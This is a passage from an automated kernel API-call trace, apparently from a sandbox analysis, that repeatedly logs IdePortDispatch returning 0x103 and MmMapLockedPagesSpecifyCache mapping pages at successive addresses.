IdePortDispatch () returned 0x103 [0113.059] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003470000 [0113.059] IdePortDispatch () returned 0x103 [0113.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003472000 [0113.060] IdePortDispatch () returned 0x103 [0113.061] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003475000 [0113.061] IdePortDispatch () returned 0x103 [0113.063] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003494000 [0113.063] IdePortDispatch () returned 0x103 [0113.064] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003497000 [0113.064] IdePortDispatch () returned 0x103 [0113.071] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349a000 [0113.071] IdePortDispatch () returned 0x103 [0113.071] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349d000 [0113.072] IdePortDispatch () returned 0x103 [0113.072] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0113.072] IdePortDispatch () returned 0x103 [0113.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a2000 [0113.073] IdePortDispatch () returned 0x103 [0113.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a4000 [0113.073] IdePortDispatch () returned 0x103 [0113.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a6000 [0113.074] IdePortDispatch () returned 0x103 [0113.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034aa000 [0113.074] IdePortDispatch () returned 0x103 [0113.075] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ad000 [0113.075] IdePortDispatch () returned 0x103 [0113.076] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b0000 [0113.076] IdePortDispatch () returned 0x103 [0113.078] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b3000 [0113.078] IdePortDispatch () returned 0x103 [0113.079] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b6000 [0113.079] IdePortDispatch () returned 0x103 [0113.079] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b8000 [0113.079] IdePortDispatch () returned 0x103 [0113.080] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ba000 [0113.080] IdePortDispatch () returned 0x103 [0113.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034be000 [0113.081] IdePortDispatch () returned 0x103 [0113.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c1000 [0113.081] IdePortDispatch () returned 0x103 [0113.082] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c3000 [0113.082] IdePortDispatch () returned 0x103 [0113.092] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c5000 [0113.092] IdePortDispatch () returned 0x103 [0113.092] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c7000 [0113.092] IdePortDispatch () returned 0x103 [0113.093] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c9000 [0113.093] IdePortDispatch () returned 0x103 [0113.093] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cc000 [0113.093] IdePortDispatch () returned 0x103 [0113.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d0000 [0113.094] IdePortDispatch () returned 0x103 [0113.095] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d3000 [0113.095] IdePortDispatch () returned 0x103 [0113.095] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d6000 [0113.095] IdePortDispatch () returned 0x103 [0113.096] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d8000 [0113.096] IdePortDispatch () returned 0x103 [0113.096] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034da000 [0113.096] IdePortDispatch () returned 0x103 [0113.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034dc000 [0113.097] IdePortDispatch () returned 0x103 [0113.098] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034de000 [0113.098] IdePortDispatch () returned 0x103 [0113.100] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f8000 [0113.100] IdePortDispatch () returned 0x103 [0113.100] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fb000 [0113.100] IdePortDispatch () returned 0x103 [0113.101] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fe000 [0113.101] IdePortDispatch () returned 0x103 [0113.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b71000 [0113.164] IdePortDispatch () returned 0x103 [0113.170] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000000) returned 0xfffff88000b74000 [0113.170] IdePortDispatch () returned 0x103 [0113.174] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b77000 [0113.174] IdePortDispatch () returned 0x103 [0113.175] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7a000 [0113.175] IdePortDispatch () returned 0x103 [0113.175] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7c000 [0113.175] IdePortDispatch () returned 0x103 [0113.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7f000 [0113.176] IdePortDispatch () returned 0x103 [0113.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b82000 [0113.176] IdePortDispatch () returned 0x103 [0113.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b85000 [0113.176] IdePortDispatch () returned 0x103 [0113.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b88000 [0113.177] IdePortDispatch () returned 0x103 [0113.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8b000 [0113.177] IdePortDispatch () returned 0x103 [0113.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8e000 [0113.178] IdePortDispatch () returned 0x103 [0113.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b91000 [0113.178] IdePortDispatch () returned 0x103 [0113.179] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b94000 [0113.179] IdePortDispatch () returned 0x103 [0113.179] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b98000 [0113.179] IdePortDispatch () returned 0x103 [0113.179] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9a000 [0113.179] IdePortDispatch () returned 0x103 [0113.180] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9d000 [0113.180] IdePortDispatch () returned 0x103 [0113.180] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba0000 [0113.180] IdePortDispatch () returned 0x103 [0113.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba2000 [0113.181] IdePortDispatch () returned 0x103 [0113.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb5000 [0113.182] IdePortDispatch () returned 0x103 [0113.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb7000 [0113.182] IdePortDispatch () returned 0x103 [0113.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbb000 [0113.182] IdePortDispatch () returned 0x103 [0113.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bbe000 [0113.183] IdePortDispatch () returned 0x103 [0113.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc1000 [0113.183] IdePortDispatch () returned 0x103 [0113.184] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc4000 [0113.184] IdePortDispatch () returned 0x103 [0113.184] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc7000 [0113.184] IdePortDispatch () returned 0x103 [0113.185] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bca000 [0113.185] IdePortDispatch () returned 0x103 [0113.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bcd000 [0113.186] IdePortDispatch () returned 0x103 [0113.188] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bef000 [0113.188] IdePortDispatch () returned 0x103 [0113.188] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf2000 [0113.188] IdePortDispatch () returned 0x103 [0113.188] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf5000 [0113.189] IdePortDispatch () returned 0x103 [0113.189] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf8000 [0113.189] IdePortDispatch () returned 0x103 [0113.189] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfb000 [0113.189] IdePortDispatch () returned 0x103 [0113.190] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfe000 [0113.190] IdePortDispatch () returned 0x103 [0113.191] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c01000 [0113.191] IdePortDispatch () returned 0x103 [0113.192] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c04000 [0113.192] IdePortDispatch () returned 0x103 [0113.192] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c08000 [0113.192] IdePortDispatch () returned 0x103 [0113.192] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c0b000 [0113.192] IdePortDispatch () returned 0x103 [0113.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c0e000 [0113.193] IdePortDispatch () returned 0x103 [0113.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c11000 [0113.193] IdePortDispatch () returned 0x103 [0113.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c14000 [0113.194] IdePortDispatch () returned 0x103 [0113.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c17000 [0113.194] IdePortDispatch () returned 0x103 [0113.195] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c1a000 [0113.195] IdePortDispatch () returned 0x103 [0113.196] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c1d000 [0113.196] IdePortDispatch () returned 0x103 [0113.196] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0113.196] IdePortDispatch () returned 0x103 [0113.196] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c23000 [0113.197] IdePortDispatch () returned 0x103 [0113.199] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c28000 [0113.199] IdePortDispatch () returned 0x103 [0113.199] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c2d000 [0113.199] IdePortDispatch () returned 0x103 [0113.200] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c32000 [0113.200] IdePortDispatch () returned 0x103 [0113.200] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c37000 [0113.200] IdePortDispatch () returned 0x103 [0113.201] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c3b000 [0113.201] IdePortDispatch () returned 0x103 [0113.201] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c3f000 [0113.201] IdePortDispatch () returned 0x103 [0113.202] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c42000 [0113.202] IdePortDispatch () returned 0x103 [0113.202] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c46000 [0113.202] IdePortDispatch () returned 0x103 [0113.203] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4a000 [0113.203] IdePortDispatch () returned 0x103 [0113.204] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4e000 [0113.204] IdePortDispatch () returned 0x103 [0113.204] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c52000 [0113.204] IdePortDispatch () returned 0x103 [0113.205] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c56000 [0113.205] IdePortDispatch () returned 0x103 [0113.250] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0113.250] IdePortDispatch () returned 0x103 [0113.251] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4c000 [0113.251] IdePortDispatch () returned 0x103 [0113.251] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c51000 [0113.251] IdePortDispatch () returned 0x103 [0113.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c54000 [0113.252] IdePortDispatch () returned 0x103 [0113.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5b000 [0113.252] IdePortDispatch () returned 0x103 [0113.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c5f000 [0113.253] IdePortDispatch () returned 0x103 [0113.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c64000 [0113.253] IdePortDispatch () returned 0x103 [0113.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c69000 [0113.253] IdePortDispatch () returned 0x103 [0113.254] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6e000 [0113.254] IdePortDispatch () returned 0x103 [0113.254] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0113.254] IdePortDispatch () returned 0x103 [0113.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c79000 [0113.255] IdePortDispatch () returned 0x103 [0113.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7c000 [0113.255] IdePortDispatch () returned 0x103 [0113.256] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c81000 [0113.256] IdePortDispatch () returned 0x103 [0113.256] MmMapLockedPagesSpecifyCache 